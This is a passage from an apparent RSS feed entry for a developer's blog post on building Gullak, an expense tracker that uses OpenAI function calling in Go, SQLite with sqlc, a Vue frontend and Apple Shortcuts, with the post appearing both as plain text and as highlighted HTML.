          Type: jsonschema.Object,
          Properties: map[string]jsonschema.Definition{
            "transaction_date": {
              Type:        jsonschema.String,
              Description: "Date of transaction in ISO 8601 format (e.g., 2021-09-01) if specified else today's date.",
            },
            "amount": {
              Type:        jsonschema.Number,
              Description: "Amount of the item",
            },
            "category": {
              Type:        jsonschema.String,
              Description: "One word category of the expense (e.g., food, travel, entertainment)",
            },
            "description": {
              Type:        jsonschema.String,
              Description: "Concise and short description of the item",
            },
          },
          Required: []string{"transaction_date", "amount", "category", "description"},
        },
      },
    },
    Required: []string{"transactions"},
  },
}
The response from this API call can then be unmarshalled into a struct.
var transactions models.Transactions

if err := json.Unmarshal([]byte(toolCall.Function.Arguments), &transactions); err != nil {
    return err
}
The next step was to determine exactly how users would provide input. I considered various methods that would make entering expenses as straightforward as my approach with Apple Notes and decided to create a Telegram bot.

I developed a Telegram bot that would parse the expenses and save them to a SQLite database. I explored tools like evidence.dev, a nice platform for creating frontends using the database as the sole source of truth. However, I encountered an issue where it could not correctly parse date values (see GitHub issue). Ultimately, I returned to my reliable old friend—Metabase.
However, I faced two main challenges with this approach:
Privacy Concerns: Telegram does not offer the option to create a private bot; all bots generated through BotFather are public. To restrict access, I considered adding session tokens, but this approach was unsatisfactory. If I planned to distribute this bot, implementing a token-based, DIY authentication system on Telegram did not seem appropriate.
Fixing Bad Entries: To correct erroneous entries, I had to manually update the SQLite table. As I intended to share this bot with my wife, I needed a more user-friendly workflow. Manually raw dogging UPDATE SQL queries was not the most user-friendly solution.
After a day or two of experimenting, I decided to build a small frontend for now.
Building Frontend#

As a backend developer, my core expertise is NOT JavaScript, and I strongly dislike the JS ecosystem. Obviously there’s no dearth of choices when it comes to frameworks, however for this project I wanted to stay away from the hype and choose a stack that is simple to use and productive (for me) out of the box. Having used Vue.js in production in the past, I feel it ticks those boxes for me as it comes bundled with a router, store, and all the niceties, and it has excellent documentation. After reading a refresher on the new Vue3 composition API syntax, I hit the ground running.
I find Tailwind CSS ideal for someone like me who prefers not to write CSS or invent class names. It’s a heavily debated topic online, but it’s important to pick our battles. An issue I encountered while researching UI frameworks was that Vue.js seems to have fewer options compared to React, likely due to its lower popularity. After some google-fu, I discovered a promising project called shadcn-vue, an unofficial community led port of the shadcn/ui React library.
The cool thing about this library is that it doesn’t come bundled as a package, meaning there’s no way to install it as a dependency. Instead, it gets added directly to your source code, encouraging you to tweak it the way you like.
I believe it’s an excellent starting point for anyone looking to build their own design system from scratch, as it allows for customization of both appearance and behavior. It might have been overkill for my simple UI, but I thought, what the heck, if side projects aren’t for exploring new things, what’s the point of it all? 😄
Database#
For the database, I opted for SQLite. It’s perfect for a small project like this since the database is just a single file, making it easier to manage. Initially, I used the popular driver mattn/go-sqlite3, but I found that the CGO-free alternative modernc/sqlite works just as well.
I also experimented with sqlc for the first time. For those unfamiliar, sqlc generates type-safe Go code from your raw SQL queries. It handles all the boilerplate database code needed to retrieve results, scan them into a model, manage transactions, and more. sqlc makes it seem like you’re getting the best of both worlds (ORM + raw SQL).
Here’s an example query:
-- name: CreateTransaction :many
-- Inserts a new transaction into the database.
INSERT INTO transactions (created_at, transaction_date, amount, currency, category, description, confirm)
VALUES (?, ?, ?, ?, ?, ?, ?)
RETURNING *;
Using sqlc generate, it generates the following code:
// Code generated by sqlc. DO NOT EDIT.
// versions:
//   sqlc v1.26.0
// source: queries.sql

package db

import (
	"context"
	"database/sql"
	"time"
)

const createTransaction = `-- name: CreateTransaction :many
INSERT INTO transactions (created_at, transaction_date, amount, currency, category, description, confirm)
VALUES (?, ?, ?, ?, ?, ?, ?)
RETURNING id, created_at, transaction_date, currency, amount, category, description, confirm
`

type CreateTransactionParams struct {
	CreatedAt       time.Time `json:"created_at"`
	TransactionDate time.Time `json:"transaction_date"`
	Amount          float64   `json:"amount"`
	Currency        string    `json:"currency"`
	Category        string    `json:"category"`
	Description     string    `json:"description"`
	Confirm         bool      `json:"confirm"`
}

// Inserts a new transaction into the database.
func (q *Queries) CreateTransaction(ctx context.Context, arg CreateTransactionParams) ([]Transaction, error) {
	rows, err := q.query(ctx, q.createTransactionStmt, createTransaction,
		arg.CreatedAt,
		arg.TransactionDate,
		arg.Amount,
		arg.Currency,
		arg.Category,
		arg.Description,
		arg.Confirm,
	)
	if err != nil {
		return nil, err
	}
	defer rows.Close()
	items := []Transaction{}
	for rows.Next() {
		var i Transaction
		if err := rows.Scan(
			&i.ID,
			&i.CreatedAt,
			&i.TransactionDate,
			&i.Currency,
			&i.Amount,
			&i.Category,
			&i.Description,
			&i.Confirm,
		); err != nil {
			return nil, err
		}
		items = append(items, i)
	}
	if err := rows.Close(); err != nil {
		return nil, err
	}
	if err := rows.Err(); err != nil {
		return nil, err
	}
	return items, nil
}
Apple Shortcuts#
Similar to my Apple Notes approach, I wanted to create a shortcut that would allow me to log expenses quickly. I created a simple shortcut that would prompt me to enter the expenses and send an HTTP POST request to Gullak’s API server. I then open the dashboard once in a while to confirm/edit these unconfirmed transactions.
You can read more about setting up the Shortcut in your Apple devices here.
Proudly, Not a Weekend Project#
For every “I could do this in a weekend” comment, yes, this project is straightforward—a “CRUD GPT” wrapper that isn’t complicated to build. Yet, it took me over a month to develop. I spent less than an hour most days on this project, instead of cramming it into an all-nighter weekend project - an approach I want to move away from. Slow and steady efforts compound, outlasting quick, sporadic bursts. I’m pleased to balance this with my full-time job without burning out.
Ideas for the Future#
Initially, I didn’t set out to build a comprehensive budgeting app, just an expense logger, as that was my primary need. However, if usage increases and the tool proves helpful in reducing unnecessary spending, I’m open to adding more features. Some possibilities include a subscription tracker, integration with budgeting tools like YNAB or Actual through their APIs, and monthly reports sent via email. The best part is that you own complete data, as the data is stored locally on your device so you can also export it anytime and build other integrations on top of it.
Feel free to open a GitHub issue or reach out if you have any suggestions or feedback. I’m excited to see where this project goes!
Update (Feb 2026)#
I’ve rewritten Gullak to use plain-text ledger files. Read more about why in the follow-up post: Why Plain-Text Ledger is Powerful for Gullak.]]></description>
            <content:encoded><![CDATA[<p>A couple of weeks ago, I decided to start logging and tracking my expenses. The goal was not to record every minor purchase but to gain a general insight into where my money was going. In this post, I’ll dive deep into the behind-the-scenes of building <a rel="external" href="https://github.com/mr-karan/gullak">Gullak</a>—an expense tracker app with a dash of <em>AI</em> (yes).</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
  <iframe src="https://www.youtube.com/embed/29wLnPMbsE8?si=O_GStAkPGZ09oywE" 
          style="position: absolute; top: 0; left: 0; width: 100%; height: 100%;" 
          title="YouTube video player" frameborder="0" 
          allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" 
          referrerpolicy="strict-origin-when-cross-origin" 
          allowfullscreen></iframe>
</div>
<p><img src="https://mrkaran.dev/images/gullak-cover.png" alt="Gullak" /></p>
<h2 id="why">Why<a class="zola-anchor" href="#why" aria-label="Anchor link for: why">#</a></h2>
<p>My wife and I have a simple system for tracking our expenses during trips: we use Apple Notes to maintain a day-wise record, jotting down a one-liner for each expense under the date. This straightforward method has proven effective in keeping tabs on our spending habits while traveling.</p>
<img src="https://mrkaran.dev/images/gullak-1.png" style="max-width:100%; height:auto; width:400px;">
<p>For instance, during our last Europe trip, we recorded our daily expenses. After returning home, I was eager to analyze our spending patterns. I copied all these items into Google Sheets to analyse the top categories that I spent on during the trip.</p>
<p><img src="https://mrkaran.dev/images/gullak-2.png" alt="image" /></p>
<p>I decided to develop a simple expense tracker app that automatically categorizes expenses into various groups like food, travel, shopping, etc. I believed this was a practical use case for leveraging an LLM paired with <a rel="external" href="https://platform.openai.com/docs/guides/function-calling">Function calling</a> to parse and categorize expenses.</p>
<h2 id="initial-prototype">Initial Prototype<a class="zola-anchor" href="#initial-prototype" aria-label="Anchor link for: initial-prototype">#</a></h2>
<p>The first step involved designing a prompt to capture user input about their spending. I picked up <a rel="external" href="https://github.com/sashabaranov/go-openai">go-openai</a> library and experimented with it.</p>
<p>Almost a year ago, I had developed a small bot for personal use, which provided a JSON output detailing the macronutrients and calories in specific food items, storing this information in Metabase. However, this was during the early days of API access provided by OpenAI. Due to occasionally unsatisfactory and inconsistent responses (despite instructions like “MUST RETURN JSON OR 1000 CATS WILL D*E SOMEWHERE”), it wasn’t entirely reliable.</p>
<p>Function calling addresses two main limitations of traditional language model responses:</p>
<ul>
<li><strong>Inconsistent response format</strong>: Without function calling, responses from language models can be unstructured and inconsistent, requiring complex validation and parsing logic on the application side.</li>
<li><strong>Lack of external data integration</strong>: Language models are typically limited to the knowledge they were trained on, making it challenging to provide answers based on real-time or external data.</li>
</ul>
<p>It’s important to note that the LLM does not actually <em>execute</em> any functions. Rather, we create a structure for the LLM to follow in its responses. The LLM would then generate a response with the content as a stringified JSON object following the schema provided in the function definiton.</p>
<p>I created a function called <code>categorize_expense</code>. This function takes a list of transactions as parameters, with each transaction having properties like <code>transaction_date</code>, <code>amount</code>, <code>category</code>, and <code>description</code>.</p>
<p>Here’s what this looks like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span>fnCategorizeExpenses</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #F69D50);"> openai</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">FunctionDefinition</span><span>{</span></span>
<span class="giallo-l"><span>  Name</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">        &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">categorize_expense</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>  Description</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Categorize expenses from the given input.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>  Parameters</span><span>:</span><span style="color: light-dark(#6F42C1, #F69D50);"> jsonschema</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Definition</span><span>{</span></span>
<span class="giallo-l"><span>    Type</span><span>:</span><span> jsonschema</span><span>.</span><span>Object</span><span>,</span></span>
<span class="giallo-l"><span>    Properties</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">jsonschema</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Definition</span><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">      &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">transactions</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span>        Type</span><span>:</span><span>        jsonschema</span><span>.</span><span>Array</span><span>,</span></span>
<span class="giallo-l"><span>        Description</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">List of items purchased</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>        Items</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> &amp;</span><span style="color: light-dark(#6F42C1, #F69D50);">jsonschema</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Definition</span><span>{</span></span>
<span class="giallo-l"><span>          Type</span><span>:</span><span> jsonschema</span><span>.</span><span>Object</span><span>,</span></span>
<span class="giallo-l"><span>          Properties</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">jsonschema</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Definition</span><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">transaction_date</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span>              Type</span><span>:</span><span>        jsonschema</span><span>.</span><span>String</span><span>,</span></span>
<span class="giallo-l"><span>              Description</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Date of transaction in ISO 8601 format (e.g., 2021-09-01) if specified else today&#39;s date.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>            }</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">amount</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span>              Type</span><span>:</span><span>        jsonschema</span><span>.</span><span>Number</span><span>,</span></span>
<span class="giallo-l"><span>              Description</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Amount of the item</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>            }</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">category</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span>              Type</span><span>:</span><span>        jsonschema</span><span>.</span><span>String</span><span>,</span></span>
<span class="giallo-l"><span>              Description</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">One word category of the expense (e.g., food, travel, entertainment)</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>            }</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">description</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span>              Type</span><span>:</span><span>        jsonschema</span><span>.</span><span>String</span><span>,</span></span>
<span class="giallo-l"><span>              Description</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Concise and short description of the item</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>            }</span><span>,</span></span>
<span class="giallo-l"><span>          }</span><span>,</span></span>
<span class="giallo-l"><span>          Required</span><span>:</span><span> [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>{</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">transaction_date</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">amount</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">category</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">description</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>}</span><span>,</span></span>
<span class="giallo-l"><span>        }</span><span>,</span></span>
<span class="giallo-l"><span>      }</span><span>,</span></span>
<span class="giallo-l"><span>    }</span><span>,</span></span>
<span class="giallo-l"><span>    Required</span><span>:</span><span> [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>{</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">transactions</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>}</span><span>,</span></span>
<span class="giallo-l"><span>  }</span><span>,</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>The response from this API call can then be unmarshalled into a struct.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">var</span><span> transactions</span><span style="color: light-dark(#6F42C1, #F69D50);"> models</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Transactions</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> json</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Unmarshal</span><span>(</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">byte</span><span>(</span><span>toolCall</span><span>.</span><span>Function</span><span>.</span><span>Arguments</span><span>)</span><span>,</span><span style="color: light-dark(#D73A49, #F47067);"> &amp;</span><span>transactions</span><span>)</span><span>;</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    return</span><span> err</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>The next step was to determine exactly how users would provide input. I considered various methods that would make entering expenses as straightforward as my approach with Apple Notes and decided to create a Telegram bot.</p>
<p><img src="https://mrkaran.dev/images/gullak-3.png" alt="image" /></p>
<p>I developed a Telegram bot that would parse the expenses and save them to a SQLite database. I explored tools like <a rel="external" href="https://evidence.dev/">evidence.dev</a>, a nice platform for creating frontends using the database as the sole source of truth. However, I encountered an issue where it could not correctly parse date values (see <a rel="external" href="https://github.com/evidence-dev/evidence/issues/1983">GitHub issue</a>). Ultimately, I returned to my reliable old friend—Metabase.</p>
<p>However, I faced two main challenges with this approach:</p>
<ul>
<li>
<p><strong>Privacy Concerns</strong>: Telegram does not offer the option to create a private bot; all bots generated through BotFather are public. To restrict access, I considered adding session tokens, but this approach was unsatisfactory. If I planned to distribute this bot, implementing a token-based, DIY authentication system on Telegram did not seem appropriate.</p>
</li>
<li>
<p><strong>Fixing Bad Entries</strong>: To correct erroneous entries, I had to manually update the SQLite table. As I intended to share this bot with my wife, I needed a more user-friendly workflow. Manually raw dogging <code>UPDATE</code> SQL queries was not the most user-friendly solution.</p>
</li>
</ul>
<p>After a day or two of experimenting, I decided to build a small frontend for now.</p>
<h2 id="building-frontend">Building Frontend<a class="zola-anchor" href="#building-frontend" aria-label="Anchor link for: building-frontend">#</a></h2>
<p><img src="https://mrkaran.dev/images/gullak-home.png" alt="image" /></p>
<p>As a backend developer, my core expertise is NOT JavaScript, and I strongly dislike the JS ecosystem. Obviously there’s no dearth of choices when it comes to frameworks, however for this project I wanted to stay away from the hype and choose a stack that is simple to use and productive (for me) out of the box. Having used Vue.js in production in the past, I feel it ticks those boxes for me as it comes bundled with a router, store, and all the niceties, and it has <strong>excellent</strong> documentation. After reading a refresher on the new Vue3 composition API syntax, I hit the ground running.</p>
<p>I find Tailwind CSS ideal for someone like me who prefers not to write CSS or invent class names. It’s a heavily debated topic online, but it’s important to pick our battles. An issue I encountered while researching UI frameworks was that Vue.js seems to have fewer options compared to React, likely due to its lower popularity. After some google-fu, I discovered a promising project called <a rel="external" href="https://www.shadcn-vue.com/">shadcn-vue</a>, an unofficial community led port of the <a rel="external" href="https://ui.shadcn.com/">shadcn/ui</a> React library.</p>
<p>The cool thing about this library is that it doesn’t come bundled as a package, meaning there’s no way to install it as a <em>dependency</em>. Instead, it gets added directly to your source code, encouraging you to tweak it the way you like.</p>
<img src="https://mrkaran.dev/images/gullak-4.png"  height="400">
<p>I believe it’s an excellent starting point for anyone looking to build their own design system from scratch, as it allows for customization of both appearance and behavior. It might have been overkill for my simple UI, but I thought, what the heck, if side projects aren’t for exploring new things, what’s the point of it all? 😄</p>
<h2 id="database">Database<a class="zola-anchor" href="#database" aria-label="Anchor link for: database">#</a></h2>
<p>For the database, I opted for SQLite. It’s perfect for a small project like this since the database is just a single file, making it easier to manage. Initially, I used the popular driver <a rel="external" href="https://github.com/mattn/go-sqlite3">mattn/go-sqlite3</a>, but I found that the CGO-free alternative <a rel="external" href="https://pkg.go.dev/modernc.org/sqlite">modernc/sqlite</a> works just as well.</p>
<p>I also experimented with <a rel="external" href="https://sqlc.dev/">sqlc</a> for the first time. For those unfamiliar, <code>sqlc</code> generates type-safe Go code from your raw SQL queries. It handles all the boilerplate database code needed to retrieve results, scan them into a model, manage transactions, and more. sqlc makes it seem like you’re getting the best of both worlds (ORM + raw SQL).</p>
<p>Here’s an example query:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">--</span><span style="color: light-dark(#6A737D, #768390);"> name: CreateTransaction :many</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">--</span><span style="color: light-dark(#6A737D, #768390);"> Inserts a new transaction into the database.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">INSERT INTO</span><span> transactions (created_at, transaction_date, amount, currency, category, </span><span style="color: light-dark(#D73A49, #F47067);">description</span><span>, confirm)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">VALUES</span><span> (?, ?, ?, ?, ?, ?, ?)</span></span>
<span class="giallo-l"><span>RETURNING </span><span style="color: light-dark(#D73A49, #F47067);">*</span><span>;</span></span></code></pre>
<p>Using <code>sqlc generate</code>, it generates the following code:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Code generated by sqlc. DO NOT EDIT.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> versions:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);">   sqlc v1.26.0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> source: queries.sql</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">package</span><span style="color: light-dark(#6F42C1, #F69D50);"> db</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> (</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">context</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">database/sql</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">time</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">const</span><span style="color: light-dark(#005CC5, #6CB6FF);"> createTransaction</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> `</span><span style="color: light-dark(#032F62, #96D0FF);">-- name: CreateTransaction :many</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">INSERT INTO transactions (created_at, transaction_date, amount, currency, category, description, confirm)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">VALUES (?, ?, ?, ?, ?, ?, ?)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">RETURNING id, created_at, transaction_date, currency, amount, category, description, confirm</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">`</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> CreateTransactionParams</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span>	CreatedAt</span><span style="color: light-dark(#6F42C1, #F69D50);">       time</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Time</span><span style="color: light-dark(#032F62, #96D0FF);"> `</span><span style="color: light-dark(#032F62, #96D0FF);">json:&quot;created_at&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">`</span></span>
<span class="giallo-l"><span>	TransactionDate</span><span style="color: light-dark(#6F42C1, #F69D50);"> time</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Time</span><span style="color: light-dark(#032F62, #96D0FF);"> `</span><span style="color: light-dark(#032F62, #96D0FF);">json:&quot;transaction_date&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">`</span></span>
<span class="giallo-l"><span>	Amount</span><span style="color: light-dark(#D73A49, #F47067);">          float64</span><span style="color: light-dark(#032F62, #96D0FF);">   `</span><span style="color: light-dark(#032F62, #96D0FF);">json:&quot;amount&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">`</span></span>
<span class="giallo-l"><span>	Currency</span><span style="color: light-dark(#D73A49, #F47067);">        string</span><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">json:&quot;currency&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">`</span></span>
<span class="giallo-l"><span>	Category</span><span style="color: light-dark(#D73A49, #F47067);">        string</span><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">json:&quot;category&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">`</span></span>
<span class="giallo-l"><span>	Description</span><span style="color: light-dark(#D73A49, #F47067);">     string</span><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">json:&quot;description&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">`</span></span>
<span class="giallo-l"><span>	Confirm</span><span style="color: light-dark(#D73A49, #F47067);">         bool</span><span style="color: light-dark(#032F62, #96D0FF);">      `</span><span style="color: light-dark(#032F62, #96D0FF);">json:&quot;confirm&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">`</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Inserts a new transaction into the database.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">q </span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#6F42C1, #F69D50);">Queries</span><span>)</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> CreateTransaction</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">ctx</span><span style="color: light-dark(#6F42C1, #F69D50);"> context</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Context</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> arg</span><span style="color: light-dark(#6F42C1, #F69D50);"> CreateTransactionParams</span><span>)</span><span> (</span><span>[</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Transaction</span><span>,</span><span style="color: light-dark(#D73A49, #F47067);"> error</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>	rows</span><span>,</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> q</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">query</span><span>(</span><span>ctx</span><span>,</span><span> q</span><span>.</span><span>createTransactionStmt</span><span>,</span><span> createTransaction</span><span>,</span></span>
<span class="giallo-l"><span>		arg</span><span>.</span><span>CreatedAt</span><span>,</span></span>
<span class="giallo-l"><span>		arg</span><span>.</span><span>TransactionDate</span><span>,</span></span>
<span class="giallo-l"><span>		arg</span><span>.</span><span>Amount</span><span>,</span></span>
<span class="giallo-l"><span>		arg</span><span>.</span><span>Currency</span><span>,</span></span>
<span class="giallo-l"><span>		arg</span><span>.</span><span>Category</span><span>,</span></span>
<span class="giallo-l"><span>		arg</span><span>.</span><span>Description</span><span>,</span></span>
<span class="giallo-l"><span>		arg</span><span>.</span><span>Confirm</span><span>,</span></span>
<span class="giallo-l"><span>	)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span>,</span><span> err</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	defer</span><span> rows</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Close</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>	items</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> [</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Transaction</span><span>{</span><span>}</span></span>
